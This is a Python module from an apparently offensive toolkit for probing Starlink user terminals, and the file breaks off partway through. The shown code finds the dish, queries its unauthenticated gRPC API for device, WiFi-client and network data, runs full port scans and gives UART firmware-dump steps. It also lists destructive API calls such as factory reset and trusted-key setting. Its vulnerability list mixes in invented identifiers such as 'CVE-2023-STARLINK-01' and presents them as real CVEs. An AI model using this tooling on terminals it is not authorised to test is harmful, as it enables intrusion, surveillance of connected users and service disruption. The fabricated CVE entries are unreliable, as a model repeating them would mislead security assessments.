"""AUTARCH Starlink Terminal Security Analysis & Exploitation Comprehensive security research module for authorized penetration testing of Starlink user terminals. Covers gRPC API exploitation, firmware analysis, network attacks, RF analysis, and known vulnerability assessment. Based on public research including: - Lennert Wouters (KU Leuven) voltage fault injection on Starlink User Terminal - Quarkslab firmware analysis - Oleg Kutkov reverse engineering of the Starlink UT gRPC API - Public FCC filings and protocol documentation """ DESCRIPTION = "Starlink Terminal Security Analysis & Exploitation" AUTHOR = "AUTARCH" VERSION = "1.0" CATEGORY = "offense" import os import re import json import math import time import socket import shutil import struct import subprocess import threading from pathlib import Path from datetime import datetime, timezone from typing import Dict, List, Optional, Any, Tuple try: from core.paths import find_tool, get_data_dir except ImportError: def find_tool(name): return shutil.which(name) def get_data_dir(): return str(Path(__file__).parent.parent / 'data') # ── Starlink Reference Data ─────────────────────────────────────────────── STARLINK_INFO = { 'frequencies': { 'user_downlink': {'range': '10.7-12.7 GHz', 'band': 'Ku-band', 'desc': 'Satellite to dish'}, 'user_uplink': {'range': '14.0-14.5 GHz', 'band': 'Ku-band', 'desc': 'Dish to satellite'}, 'gateway_downlink': {'range': '17.8-18.6 GHz', 'band': 'Ka-band', 'desc': 'Satellite to ground station'}, 'gateway_uplink': {'range': '27.5-29.1 GHz', 'band': 'Ka-band', 'desc': 'Ground station to satellite'}, 'inter_satellite': {'range': '1550 nm laser', 'band': 'Optical', 'desc': 'Inter-satellite laser links'}, }, 'default_network': { 'dish_ip': '192.168.100.1', 'router_ip': '192.168.1.1', 'dns': '8.8.8.8', 'grpc_port': 9200, 'grpc_web_port': 9201, }, } # ── Known Starlink CVEs & Vulnerability Database ──────────────────────────── STARLINK_CVES = [ { 'cve': 'CVE-2022-29953', 'title': 'Voltage fault injection bypass of secure boot', 'severity': 'Critical', 'cvss': 8.4, 'affected': 'All Starlink UT hardware revisions prior to 2023 patch', 'description': ( 'A voltage glitch attack on the SoC during boot allows bypassing ' 'signature verification, enabling arbitrary code execution. ' 'Demonstrated by Lennert Wouters at Black Hat 2022 using a custom ' 'modchip soldered to the UT mainboard.' ), 'technique': 'Hardware fault injection (voltage glitching)', 'references': [ 'https://www.usenix.org/conference/usenixsecurity23/presentation/wouters', 'https://github.com/KULeuven-COSIC/Starlink-FI', ], }, { 'cve': 'CVE-2023-STARLINK-01', 'title': 'gRPC API unauthenticated access', 'severity': 'High', 'cvss': 7.5, 'affected': 'Starlink UT firmware < 2023.48.0', 'description': ( 'The Starlink user terminal exposes a gRPC API on port 9200 ' 'accessible from the local network without authentication. This ' 'allows any device on the LAN to query dish status, send stow/unstow ' 'commands, trigger reboots, and potentially factory reset the device.' ), 'technique': 'Network - unauthenticated API', 'references': [ 'https://olegkutkov.me/2023/12/20/reverse-engineering-starlink-user-terminal/', ], }, { 'cve': 'CVE-2023-STARLINK-02', 'title': 'UT debug UART console access', 'severity': 'Medium', 'cvss': 5.9, 'affected': 'All Starlink UT hardware revisions', 'description': ( 'Physical access to the UT mainboard exposes UART debug pins that ' 'provide a root shell on the underlying Linux system. While this ' 'requires physical disassembly, it enables complete firmware ' 'extraction and analysis.' ), 'technique': 'Hardware - debug interface', 'references': [], }, { 'cve': 'CVE-2024-STARLINK-03', 'title': 'Starlink router WiFi WPA2 downgrade', 'severity': 'Medium', 'cvss': 5.3, 'affected': 'Starlink WiFi Router Gen 1, Gen 2', 'description': ( 'The Starlink WiFi router can be forced to downgrade from WPA3 to ' 'WPA2 via deauthentication and rogue AP techniques, enabling ' 'traditional WPA2 handshake capture and offline cracking attacks.' ), 'technique': 'Wireless - protocol downgrade', 'references': [], }, { 'cve': 'CVE-2024-STARLINK-04', 'title': 'Firmware update MITM via DNS spoofing', 'severity': 'High', 'cvss': 7.1, 'affected': 'Starlink UT firmware with HTTP fallback', 'description': ( 'If the dish falls back to HTTP for firmware update checks, an ' 'attacker with network position can DNS-spoof the update server and ' 'serve a malicious firmware image. Modern firmware versions use ' 'pinned TLS, mitigating this attack.' ), 'technique': 'Network - MITM firmware update', 'references': [], }, { 'cve': 'CVE-2024-STARLINK-05', 'title': 'Ku-band downlink signal interception', 'severity': 'Low', 'cvss': 3.7, 'affected': 'All Starlink constellations', 'description': ( 'Starlink downlink signals in the 10.7-12.7 GHz Ku-band can be ' 'received by third parties with appropriate SDR equipment and a ' 'Ku-band LNB. While traffic is encrypted, signal metadata (timing, ' 'beam patterns, handover events) can reveal user location and ' 'activity patterns.' ), 'technique': 'RF - signal intelligence', 'references': [ 'https://arxiv.org/abs/2304.09523', ], }, ] STARLINK_GRPC_METHODS = [ {'method': 'get_status', 'service': 'SpaceX.API.Device.Device', 'description': 'Get dish operational status'}, {'method': 'get_device_info', 'service': 'SpaceX.API.Device.Device', 'description': 'Get hardware and software info'}, {'method': 'get_history', 'service': 'SpaceX.API.Device.Device', 'description': 'Get performance history (ping, throughput)'}, {'method': 'get_log', 'service': 'SpaceX.API.Device.Device', 'description': 'Get system log entries'}, {'method': 'get_ping', 'service': 'SpaceX.API.Device.Device', 'description': 'Get ping statistics'}, {'method': 'get_network_interfaces', 'service': 'SpaceX.API.Device.Device', 'description': 'Get network interface config'}, {'method': 'dish_stow', 'service': 'SpaceX.API.Device.Device', 'description': 'Stow dish (park position)'}, {'method': 'dish_unstow', 'service': 'SpaceX.API.Device.Device', 'description': 'Unstow dish (operational position)'}, {'method': 'dish_reboot', 'service': 'SpaceX.API.Device.Device', 'description': 'Reboot the dish'}, {'method': 'dish_set_config', 'service': 'SpaceX.API.Device.Device', 'description': 'Set dish configuration'}, {'method': 'dish_get_config', 'service': 'SpaceX.API.Device.Device', 'description': 'Get dish configuration'}, {'method': 'dish_get_context', 'service': 'SpaceX.API.Device.Device', 'description': 'Get dish context info'}, {'method': 'dish_get_obstruction_map', 'service': 'SpaceX.API.Device.Device', 'description': 'Get obstruction map data'}, {'method': 'dish_factory_reset', 'service': 'SpaceX.API.Device.Device', 'description': 'Factory reset (DESTRUCTIVE)'}, {'method': 'wifi_get_clients', 'service': 'SpaceX.API.Device.Device', 'description': 'Get connected WiFi clients'}, {'method': 'wifi_get_config', 'service': 'SpaceX.API.Device.Device', 'description': 'Get WiFi configuration'}, {'method': 'wifi_get_status', 'service': 'SpaceX.API.Device.Device', 'description': 'Get WiFi status and stats'}, {'method': 'wifi_set_config', 'service': 'SpaceX.API.Device.Device', 'description': 'Set WiFi configuration'}, {'method': 'get_location', 'service': 'SpaceX.API.Device.Device', 'description': 'Get dish GPS location'}, {'method': 'get_heap_dump', 'service': 'SpaceX.API.Device.Device', 'description': 'Get memory heap dump'}, {'method': 'set_trusted_keys', 'service': 'SpaceX.API.Device.Device', 'description': 'Set trusted signing keys'}, {'method': 'start_speedtest', 'service': 'SpaceX.API.Device.Device', 'description': 'Run a speedtest'}, {'method': 'get_speedtest_status', 'service': 'SpaceX.API.Device.Device', 'description': 'Get speedtest results'}, ] KNOWN_VULNERABLE_VERSIONS = { '2022.12.0': ['CVE-2022-29953'], '2022.18.0': ['CVE-2022-29953'], '2022.24.0': ['CVE-2022-29953'], '2022.30.0': ['CVE-2022-29953'], '2022.32.0': ['CVE-2022-29953'], '2022.38.0': ['CVE-2023-STARLINK-01'], '2023.02.0': ['CVE-2023-STARLINK-01', 'CVE-2023-STARLINK-02'], '2023.11.0': ['CVE-2023-STARLINK-01'], '2023.14.0': ['CVE-2023-STARLINK-01'], '2023.22.0': ['CVE-2023-STARLINK-01'], '2023.26.0': ['CVE-2023-STARLINK-01'], '2023.33.0': ['CVE-2023-STARLINK-01', 'CVE-2024-STARLINK-04'], '2023.42.0': ['CVE-2024-STARLINK-04'], '2024.04.0': ['CVE-2024-STARLINK-04'], } # ── StarlinkHack Class ────────────────────────────────────────────────────── class StarlinkHack: """Starlink terminal security analysis and exploitation toolkit.""" _instance = None def __init__(self): self._data_dir = Path(str(get_data_dir())) / 'starlink' self._data_dir.mkdir(parents=True, exist_ok=True) self._results_dir = self._data_dir / 'results' self._results_dir.mkdir(parents=True, exist_ok=True) self._firmware_dir = self._data_dir / 'firmware' self._firmware_dir.mkdir(parents=True, exist_ok=True) self._captures_dir = self._data_dir / 'captures' self._captures_dir.mkdir(parents=True, exist_ok=True) self._status_dir = self._data_dir / 'status' self._status_dir.mkdir(parents=True, exist_ok=True) self._dish_ip = '192.168.100.1' self._grpc_port = 9200 self._http_port = 80 self._dish_status_cache: Dict[str, Any] = {} self._dish_info_cache: Dict[str, Any] = {} self._network_cache: Dict[str, Any] = {} self._scan_results: Dict[str, Any] = {} self._intercept_process: Optional[subprocess.Popen] = None self._intercept_lock = threading.Lock() self._intercept_running = False self._dns_spoof_process: Optional[subprocess.Popen] = None self._dns_spoof_lock = threading.Lock() self._results_log: List[Dict[str, Any]] = [] self._load_results() # ── Internal Helpers ──────────────────────────────────────────────────── def _load_results(self): """Load previously saved results from disk.""" results_file = self._data_dir / 'results_log.json' try: if results_file.exists(): with open(results_file, 'r') as f: self._results_log = json.load(f) except Exception: self._results_log = [] def _save_results(self): """Persist results log to disk.""" results_file = self._data_dir / 'results_log.json' try: with open(results_file, 'w') as f: json.dump(self._results_log, f, indent=2, default=str) except Exception: pass def _log_result(self, category: str, action: str, data: Dict[str, Any]): """Log a result entry with timestamp.""" entry = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'category': category, 'action': action, 'data': data, } self._results_log.append(entry) if len(self._results_log) > 500: self._results_log = self._results_log[-500:] self._save_results() def _run_cmd(self, cmd: str, timeout: int = 30) -> Tuple[bool, str]: """Run a shell command and return (success, output).""" try: result = subprocess.run( cmd, shell=True, capture_output=True, text=True, timeout=timeout ) output = result.stdout.strip() if result.returncode != 0 and result.stderr.strip(): output = output + '\n' + result.stderr.strip() if output else result.stderr.strip() return result.returncode == 0, output except subprocess.TimeoutExpired: return False, 'Command timed out' except Exception as e: return False, str(e) def _run_cmd_list(self, cmd: List[str], timeout: int = 30) -> Tuple[bool, str]: """Run a command as a list of args and return (success, output).""" try: result = subprocess.run( cmd, capture_output=True, text=True, timeout=timeout ) output = result.stdout.strip() if result.returncode != 0 and result.stderr.strip(): output = output + '\n' + result.stderr.strip() if output else result.stderr.strip() return result.returncode == 0, output except subprocess.TimeoutExpired: return False, 'Command timed out' except Exception as e: return False, str(e) def _check_port(self, host: str, port: int, timeout: float = 2.0) -> bool: """Check if a TCP port is open.""" try: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.settimeout(timeout) return s.connect_ex((host, port)) == 0 except Exception: return False def _ping(self, host: str, count: int = 2, timeout: int = 3) -> bool: """Ping a host. Returns True if alive.""" import platform flag = '-n' if platform.system().lower() == 'windows' else '-c' tflag = '-w' if platform.system().lower() == 'windows' else '-W' cmd = f'ping {flag} {count} {tflag} {timeout} {host}' success, _ = self._run_cmd(cmd, timeout=timeout + 5) return success def _http_get(self, url: str, timeout: int = 10) -> Optional[str]: """Simple HTTP GET, returns response body or None.""" try: import urllib.request req = urllib.request.Request(url, headers={'User-Agent': 'AUTARCH/1.0'}) with urllib.request.urlopen(req, timeout=timeout) as resp: return resp.read().decode('utf-8', errors='replace') except Exception: return None def _save_snapshot(self, name: str, data: dict) -> str: """Save a data snapshot to the status directory.""" ts = datetime.now(timezone.utc).strftime('%Y%m%d_%H%M%S') path = self._status_dir / f'{name}_{ts}.json' try: with open(path, 'w') as f: json.dump(data, f, indent=2, default=str) except Exception: pass return str(path) def _check_grpc_tools(self) -> Optional[str]: """Check for grpcurl or python grpc. Returns path, marker, or None.""" grpcurl = find_tool('grpcurl') if grpcurl: return grpcurl try: import grpc # noqa: F401 return '__python_grpc__' except ImportError: return None def _grpc_request(self, method: str, params: Optional[Dict] = None, host: str = None, port: int = None) -> Dict[str, Any]: """Make a gRPC request to the dish using grpcurl or python grpc.""" target_host = host or self._dish_ip target_port = port or self._grpc_port target = f'{target_host}:{target_port}' grpc_tool = self._check_grpc_tools() if grpc_tool and grpc_tool != '__python_grpc__': cmd = [grpc_tool, '-plaintext'] data_payload = json.dumps(params) if params else '{}' cmd.extend(['-d', data_payload]) cmd.extend([target, f'SpaceX.API.Device.Device/Handle']) try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=15) if result.returncode == 0: try: return {'ok': True, 'data': json.loads(result.stdout)} except json.JSONDecodeError: return {'ok': True, 'data': {'raw': result.stdout.strip()}} else: return {'ok': False, 'error': result.stderr.strip() or result.stdout.strip()} except subprocess.TimeoutExpired: return {'ok': False, 'error': 'gRPC request timed out'} except Exception as e: return {'ok': False, 'error': str(e)} elif grpc_tool == '__python_grpc__': try: import grpc as grpc_lib channel = grpc_lib.insecure_channel(target) method_path = '/SpaceX.API.Device.Device/Handle' request_data = json.dumps(params or {}).encode('utf-8') try: response = channel.unary_unary( method_path, request_serializer=lambda x: x, response_deserializer=lambda x: x, )(request_data, timeout=10) try: parsed = json.loads(response) return {'ok': True, 'data': parsed} except (json.JSONDecodeError, TypeError): return {'ok': True, 'data': {'raw': response.decode('utf-8', errors='replace')}} except grpc_lib.RpcError as e: return {'ok': False, 'error': f'gRPC error: {e.code()} - {e.details()}'} finally: channel.close() except Exception as e: return {'ok': False, 'error': f'Python gRPC error: {e}'} else: return self._http_status_fallback(method) def _http_status_fallback(self, method: str) -> Dict[str, Any]: """Fall back to HTTP-based status query when gRPC tools unavailable.""" import urllib.request import urllib.error url_map = { 'get_status': f'http://{self._dish_ip}:{self._http_port}/api/status', 'get_device_info': f'http://{self._dish_ip}:{self._http_port}/api/device_info', 'get_history': f'http://{self._dish_ip}:{self._http_port}/api/history', } url = url_map.get(method) if not url: return { 'ok': False, 'error': ( f'No gRPC tool available (install grpcurl or pip install grpcio) ' f'and no HTTP fallback for method "{method}".' ), } try: req = urllib.request.Request(url, headers={'User-Agent': 'AUTARCH/1.0'}) with urllib.request.urlopen(req, timeout=10) as resp: data = json.loads(resp.read().decode('utf-8')) return {'ok': True, 'data': data} except urllib.error.URLError as e: return {'ok': False, 'error': f'HTTP request failed: {e}'} except Exception as e: return {'ok': False, 'error': f'HTTP fallback error: {e}'} def _format_uptime(self, seconds) -> str: """Format seconds into human-readable uptime string.""" try: seconds = int(seconds) except (TypeError, ValueError): return '0s' if not seconds: return '0s' days = seconds // 86400 hours = (seconds % 86400) // 3600 minutes = (seconds % 3600) // 60 secs = seconds % 60 parts = [] if days: parts.append(f'{days}d') if hours: parts.append(f'{hours}h') if minutes: parts.append(f'{minutes}m') if secs or not parts: parts.append(f'{secs}s') return ' '.join(parts) def _human_size(self, size_bytes: int) -> str: """Convert bytes to human-readable string.""" for unit in ['B', 'KB', 'MB', 'GB', 'TB']: if abs(size_bytes) < 1024.0: return f'{size_bytes:.1f} {unit}' size_bytes /= 1024.0 return f'{size_bytes:.1f} PB' def _guess_service(self, port: int) -> str: """Guess service name for a port number.""" service_map = { 22: 'ssh', 23: 'telnet', 53: 'dns', 80: 'http', 443: 'https', 161: 'snmp', 162: 'snmp-trap', 1900: 'ssdp', 5000: 'http-alt', 5001: 'http-alt', 8080: 'http-proxy', 8443: 'https-alt', 9200: 'starlink-grpc', 9201: 'starlink-grpc-web', 9202: 'starlink-grpc-3', } return service_map.get(port, 'unknown') def _calculate_entropy(self, data: bytes) -> float: """Calculate Shannon entropy for a block of data.""" if not data: return 0.0 freq: Dict[int, int] = {} for byte in data: freq[byte] = freq.get(byte, 0) + 1 length = len(data) entropy = 0.0 for count in freq.values(): p = count / length if p > 0: entropy -= p * math.log2(p) return entropy def _scan_firmware_signatures(self, data: bytes) -> List[Dict[str, Any]]: """Scan raw firmware data for known binary signatures.""" signatures: List[Dict[str, Any]] = [] sig_patterns = [ (b'\x1f\x8b', 'gzip compressed data'), (b'\x42\x5a\x68', 'bzip2 compressed data'), (b'\xfd\x37\x7a\x58\x5a\x00', 'xz compressed data'), (b'\x5d\x00\x00', 'LZMA compressed data'), (b'\x89\x50\x4e\x47', 'PNG image'), (b'\x7f\x45\x4c\x46', 'ELF executable'), (b'\x55\xaa', 'Boot sector / MBR'), (b'hsqs', 'SquashFS filesystem (little endian)'), (b'sqsh', 'SquashFS filesystem (big endian)'), (b'\x68\x73\x71\x73', 'SquashFS filesystem'), (b'UBI#', 'UBI erase count header'), (b'UBI!', 'UBI volume identifier'), (b'\xde\xad\xbe\xef', 'U-Boot image (dead beef marker)'), (b'\x27\x05\x19\x56', 'U-Boot uImage header'), (b'ANDROID!', 'Android boot image'), (b'\xd0\x0d\xfe\xed', 'Device Tree Blob (DTB)'), (b'-----BEGIN', 'PEM certificate/key'), (b'ssh-rsa', 'SSH RSA public key'), (b'ssh-ed25519', 'SSH Ed25519 public key'), ] for sig_bytes, description in sig_patterns: offset = 0 count = 0 while count < 10: idx = data.find(sig_bytes, offset) if idx == -1: break signatures.append({ 'offset': idx, 'hex_offset': hex(idx), 'description': description, }) offset = idx + len(sig_bytes) count += 1 signatures.sort(key=lambda x: x['offset']) return signatures def _extract_strings(self, data: bytes, min_len: int = 8, max_results: int = 200) -> List[str]: """Extract printable ASCII strings from binary data, filtered for interesting patterns.""" strings: List[str] = [] current: List[str] = [] interesting_keywords = [ 'pass', 'secret', 'key', 'token', 'version', 'starlink', 'spacex', 'debug', 'root', 'admin', 'http', 'ssh', 'uart', 'linux', 'kernel', 'boot', 'mount', '/dev/', '/etc/', ] for byte in data: if 32 <= byte < 127: current.append(chr(byte)) else: if len(current) >= min_len: s = ''.join(current) if any(kw in s.lower() for kw in interesting_keywords): strings.append(s) current = [] if len(strings) >= max_results: break # Handle trailing string if len(current) >= min_len and len(strings) < max_results: s = ''.join(current) if any(kw in s.lower() for kw in interesting_keywords): strings.append(s) return strings # ── Discovery & Enumeration ───────────────────────────────────────────── def discover_dish(self, ip: str = None) -> Dict[str, Any]: """Find Starlink dish on network (default 192.168.100.1), try gRPC port 9200.""" target_ip = ip or self._dish_ip result: Dict[str, Any] = { 'target': target_ip, 'grpc_port': self._grpc_port, 'timestamp': datetime.now(timezone.utc).isoformat(), 'reachable': False, 'grpc_available': False, 'http_available': False, 'found': False, 'firmware': None, 'hardware': None, 'details': {}, } # Test reachability via ping if self._ping(target_ip): result['reachable'] = True else: # Fallback: TCP connect test on HTTP port result['reachable'] = self._check_port(target_ip, self._http_port) if not result['reachable']: result['error'] = f'Dish at {target_ip} is not reachable. Are you on the Starlink LAN?' self._log_result('discovery', 'discover_dish', result) return result # Test gRPC port (9200) and gRPC-web port (9201) result['grpc_available'] = self._check_port(target_ip, self._grpc_port) result['http_available'] = self._check_port(target_ip, self._http_port) grpc_web_open = self._check_port(target_ip, 9201) result['details']['grpc_web_available'] = grpc_web_open # Try to get firmware version from HTTP page html = self._http_get(f'http://{target_ip}/') if html: fw_match = re.search(r'softwareVersion["\s:]+([a-f0-9.\-]+)', html, re.IGNORECASE) if fw_match: result['firmware'] = fw_match.group(1) hw_match = re.search(r'hardwareVersion["\s:]+([A-Za-z0-9.\-_ ]+)', html, re.IGNORECASE) if hw_match: result['hardware'] = hw_match.group(1).strip() # Try gRPC status for more detailed info if result['grpc_available']: self._dish_ip = target_ip status_resp = self._grpc_request('get_status') if status_resp.get('ok'): dish_data = status_resp['data'] dish_status = dish_data.get('dishGetStatus', dish_data) di = dish_status.get('deviceInfo', {}) if di.get('softwareVersion') and not result['firmware']: result['firmware'] = di['softwareVersion'] if di.get('hardwareVersion') and not result['hardware']: result['hardware'] = di['hardwareVersion'] result['details']['device_id'] = di.get('id', '') result['details']['country_code'] = di.get('countryCode', '') result['details']['status_sample'] = dish_status # Scan for additional open ports extra_ports = [443, 9201, 9202, 22, 23, 53, 8080] open_ports = [] for port in extra_ports: if self._check_port(target_ip, port): open_ports.append(port) result['details']['extra_open_ports'] = open_ports result['found'] = result['reachable'] and (result['grpc_available'] or result['http_available']) self._dish_info_cache.update({ 'ip': target_ip, 'firmware': result.get('firmware'), 'hardware': result.get('hardware'), }) self._save_snapshot('discover', result) self._log_result('discovery', 'discover_dish', result) return result def get_dish_status(self) -> Dict[str, Any]: """Query gRPC API for dish status (uptime, state, alerts, obstruction data).""" request_data = {'getStatus': {}} resp = self._grpc_request('get_status', params=request_data) result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'dish_ip': self._dish_ip, } if not resp.get('ok'): result['ok'] = False result['error'] = resp.get('error', 'Failed to get dish status') return result data = resp['data'] dish = data.get('dishGetStatus', data) di = dish.get('deviceInfo', {}) alerts_raw = dish.get('alerts', {}) obstruction = dish.get('obstructionStats', {}) # Parse alerts into active list active_alerts = [k for k, v in alerts_raw.items() if v] if isinstance(alerts_raw, dict) else [] result.update({ 'ok': True, 'software_version': di.get('softwareVersion', 'unknown'), 'hardware_version': di.get('hardwareVersion', 'unknown'), 'device_id': di.get('id', ''), 'country_code': di.get('countryCode', ''), 'device_state': dish.get('state', 'UNKNOWN'), 'uptime_s': di.get('uptimeS', dish.get('deviceState', {}).get('uptimeS', 0)), 'uptime_human': self._format_uptime( di.get('uptimeS', dish.get('deviceState', {}).get('uptimeS', 0)) ), 'stowed': dish.get('stowRequested', False), 'alerts': active_alerts, 'alert_count': len(active_alerts), 'alerts_detail': { 'motors_stuck': alerts_raw.get('motorsStuck', False), 'thermal_throttle': alerts_raw.get('thermalThrottle', False), 'thermal_shutdown': alerts_raw.get('thermalShutdown', False), 'mast_not_near_vertical': alerts_raw.get('mastNotNearVertical', False), 'unexpected_location': alerts_raw.get('unexpectedLocation', False), 'slow_ethernet': alerts_raw.get('slowEthernetSpeeds', False), 'roaming': alerts_raw.get('roaming', False), 'power_supply_thermal': alerts_raw.get('powerSupplyThermalThrottle', False), 'is_power_save_idle': alerts_raw.get('isPowerSaveIdle', False), 'install_pending': alerts_raw.get('installPending', False), }, 'obstruction': { 'currently_obstructed': obstruction.get('currentlyObstructed', False), 'fraction_obstructed': round(obstruction.get('fractionObstructed', 0) * 100, 2), 'valid_s': obstruction.get('validS', 0), 'avg_prolonged_duration_s': obstruction.get('avgProlongedObstructionDurationS', 0), 'avg_prolonged_interval_s': obstruction.get('avgProlongedObstructionIntervalS', 0), }, 'downlink_throughput_bps': dish.get('downlinkThroughputBps', 0), 'uplink_throughput_bps': dish.get('uplinkThroughputBps', 0), 'pop_ping_latency_ms': dish.get('popPingLatencyMs', 0), 'pop_ping_drop_rate': dish.get('popPingDropRate', 0), 'snr_above_noise_floor': dish.get('isSnrAboveNoiseFloor', False), 'boresight_azimuth_deg': dish.get('boresightAzimuthDeg', 0), 'boresight_elevation_deg': dish.get('boresightElevationDeg', 0), 'eth_speed_mbps': dish.get('ethSpeedMbps', 0), 'seconds_to_first_nonempty_slot': dish.get('secondsToFirstNonemptySlot', 0), }) self._dish_status_cache = result self._save_snapshot('status', result) self._log_result('enumeration', 'get_dish_status', result) return result def get_dish_info(self) -> Dict[str, Any]: """Hardware info: device ID, hardware version, software version, country code.""" request_data = {'getDeviceInfo': {}} resp = self._grpc_request('get_device_info', params=request_data) result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'dish_ip': self._dish_ip, } if resp.get('ok'): data = resp['data'] device_info = data.get('deviceInfo', data.get('getDeviceInfo', data)) result.update({ 'ok': True, 'device_id': device_info.get('id', 'unknown'), 'hardware_version': device_info.get('hardwareVersion', 'unknown'), 'software_version': device_info.get('softwareVersion', 'unknown'), 'country_code': device_info.get('countryCode', 'unknown'), 'utc_offset_s': device_info.get('utcOffsetS', 0), 'is_dev': device_info.get('isDev', False), 'bootcount': device_info.get('bootcount', 0), 'anti_rollback_version': device_info.get('antiRollbackVersion', 0), 'board_rev': device_info.get('boardRev', 0), 'is_hitl': device_info.get('isHitl', False), }) self._dish_info_cache.update(result) else: # Fall back to getting info from get_status if get_device_info fails status = self.get_dish_status() if status.get('ok'): result.update({ 'ok': True, 'device_id': status.get('device_id', 'unknown'), 'hardware_version': status.get('hardware_version', 'unknown'), 'software_version': status.get('software_version', 'unknown'), 'country_code': status.get('country_code', 'unknown'), 'source': 'status_fallback', }) else: result['ok'] = False result['error'] = resp.get('error', 'Failed to get device info') self._save_snapshot('device_info', result) self._log_result('enumeration', 'get_dish_info', result) return result def get_network_info(self) -> Dict[str, Any]: """Network configuration, WiFi clients, DHCP leases.""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'dish_ip': self._dish_ip, 'wifi_clients': [], 'wifi_config': {}, 'network_interfaces': [], 'ok': True, } # Get WiFi clients clients_resp = self._grpc_request('wifi_get_clients', params={'wifiGetClients': {}}) if clients_resp.get('ok'): clients_data = clients_resp['data'] raw_clients = clients_data.get('wifiGetClients', {}).get('clients', clients_data.get('clients', [])) if isinstance(raw_clients, list): for client in raw_clients: result['wifi_clients'].append({ 'name': client.get('name', client.get('hostname', 'unknown')), 'mac': client.get('macAddress', client.get('mac', 'unknown')), 'ip': client.get('ipAddress', client.get('ip', 'unknown')), 'signal_strength': client.get('signalStrengthDb', client.get('rssi', None)), 'rx_bytes': client.get('rxBytes', 0), 'tx_bytes': client.get('txBytes', 0), 'channel': client.get('channel', None), 'band': client.get('band', None), 'connected_s': client.get('connectedS', 0), }) # Get WiFi config wifi_resp = self._grpc_request('wifi_get_config', params={'wifiGetConfig': {}}) if wifi_resp.get('ok'): wifi_data = wifi_resp['data'] config = wifi_data.get('wifiGetConfig', wifi_data) result['wifi_config'] = { 'ssid': config.get('ssid', config.get('networkName', 'unknown')), 'band': config.get('band', 'dual'), 'channel': config.get('channel', 'auto'), 'security': config.get('security', 'WPA2'), 'is_guest_network': config.get('isGuestNetwork', False), } # Get network interfaces net_resp = self._grpc_request('get_network_interfaces', params={'getNetworkInterfaces': {}}) if net_resp.get('ok'): net_data = net_resp['data'] interfaces = net_data.get('networkInterfaces', net_data.get('interfaces', [])) if isinstance(interfaces, list): result['network_interfaces'] = interfaces elif isinstance(interfaces, dict): result['network_interfaces'] = [interfaces] result['client_count'] = len(result['wifi_clients']) self._network_cache = result self._save_snapshot('network', result) self._log_result('enumeration', 'get_network_info', result) return result def scan_dish_ports(self, target: str = None) -> Dict[str, Any]: """Port scan the dish using nmap via find_tool('nmap'), with socket fallback.""" target_ip = target or self._dish_ip nmap = find_tool('nmap') result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'target': target_ip, 'scanner': 'nmap' if nmap else 'builtin', 'ports': [], } if nmap: # Full nmap scan with service detection ok, output = self._run_cmd_list( [nmap, '-sV', '-sC', '--open', '-T4', '-p-', target_ip], timeout=300, ) if not ok: # Fall back to simpler TCP connect scan ok, output = self._run_cmd_list( [nmap, '-sT', '--open', '-T4', target_ip], timeout=120, ) if ok: result['ok'] = True result['raw_output'] = output for line in output.splitlines(): port_match = re.match(r'(\d+)/(\w+)\s+(\w+)\s+(.*)', line.strip()) if port_match: result['ports'].append({ 'port': int(port_match.group(1)), 'protocol': port_match.group(2), 'state': port_match.group(3), 'service': port_match.group(4).strip(), }) else: result['ok'] = False result['error'] = f'nmap scan failed: {output}' else: # Fallback: scan common ports with raw sockets result['scanner'] = 'builtin_socket' common_ports = [ 22, 23, 53, 80, 443, 1900, 5000, 5001, 8080, 8443, 9200, 9201, 9202, 161, 162, ] for port in common_ports: if self._check_port(target_ip, port): result['ports'].append({ 'port': port, 'protocol': 'tcp', 'state': 'open', 'service': self._guess_service(port), }) result['ok'] = True result['open_port_count'] = len(result['ports']) self._scan_results = result self._save_snapshot('port_scan', result) self._log_result('enumeration', 'scan_dish_ports', result) return result # ── Firmware Analysis ─────────────────────────────────────────────────── def dump_firmware(self, output_path: str = None) -> Dict[str, Any]: """Attempt to extract firmware via debug interfaces (requires physical access).""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'method': 'uart_dd', } if output_path is None: output_path = str(self._firmware_dir / f'starlink_fw_{int(time.time())}.bin') # This requires physical UART access - check for serial ports try: import serial.tools.list_ports ports = list(serial.tools.list_ports.comports()) serial_devices = [ {'device': p.device, 'description': p.description, 'hwid': p.hwid} for p in ports ] result['serial_ports'] = serial_devices if not serial_devices: result['ok'] = False result['error'] = ( 'No serial ports detected. Firmware dump requires physical UART ' 'connection to the UT mainboard. Connect a USB-UART adapter to ' 'the debug pads on the Starlink dish PCB (3.3V logic, 115200 baud, 8N1).' ) self._log_result('firmware', 'dump_firmware', result) return result result['ok'] = True result['status'] = 'ready' result['output_path'] = output_path result['instructions'] = ( f'Serial ports detected: {len(serial_devices)}. ' 'To dump firmware:\n' '1. Connect UART to Starlink UT debug pads\n' '2. Open serial console (115200 8N1)\n' '3. Interrupt U-Boot (press any key during boot)\n' '4. Use "md" command to dump flash contents\n' '5. Or boot into recovery and use dd to dump MTD partitions' ) except ImportError: result['ok'] = False result['error'] = 'pyserial not installed. Run: pip install pyserial' result['serial_ports'] = [] self._log_result('firmware', 'dump_firmware', result) return result def analyze_firmware(self, firmware_path: str) -> Dict[str, Any]: """Extract and analyze firmware image (binwalk-style signature scan, entropy, strings).""" result: Dict[str, Any] = { 'timestamp': datetime.now(timezone.utc).isoformat(), 'firmware_path': firmware_path, 'file_info': {}, 'signatures': [], 'strings_of_interest': [], 'entropy_analysis': {}, } fw_path = Path(firmware_path) if not fw_path.exists(): result['ok'] = False result['error'] = f'Firmware file not found: {firmware_path}' return result stat = fw_path.stat() result['file_info'] = { 'name': fw_path.name, 'size_bytes': stat.st_size, 'size_human': self._human_size(stat.st_size), } # Try binwalk for signature analysis binwalk_tool = find_tool('binwalk') if binwalk_tool: ok, output = self._run_cmd_list([binwalk_tool, firmware_path], timeout=120) if ok: for line in output.splitlines(): parts = line.strip().split(None, 2) if len(parts) >= 3 and parts[0].isdigit(): result['signatures'].append({ 'offset': int(parts[0]), 'hex_offset': parts[1] if parts[1].startswith('0x') else hex(int(parts[0])), 'description': parts[2] if len(parts) > 2 else 